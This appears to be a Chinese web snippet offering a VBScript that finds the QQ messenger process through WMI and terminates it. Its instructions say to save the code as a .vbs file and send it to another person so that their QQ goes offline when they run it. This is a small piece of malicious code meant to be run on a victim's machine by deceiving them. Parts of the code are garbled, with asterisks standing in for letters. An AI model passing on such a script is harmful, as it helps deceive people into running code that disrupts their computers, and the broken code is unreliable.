comstrComputer=“.“ Set obj*MIService= GetObject(“*inmgmts:\\“&strComputer&“\root\cimv2“) Set colProcessList=obj*MIService.*Query (“* * from *in32_Process *here Name=‘QQ.exe‘ “) For Each objProcess in colProcessList objProcess.Terminate() next 使用方法：把代码复制到记事本中，保存为.vbs后缀的文件，发送给对方，一旦对方运行了，QQ瞬间就会*线。 注意：一定要保存为 vbs 类型的文件哦！)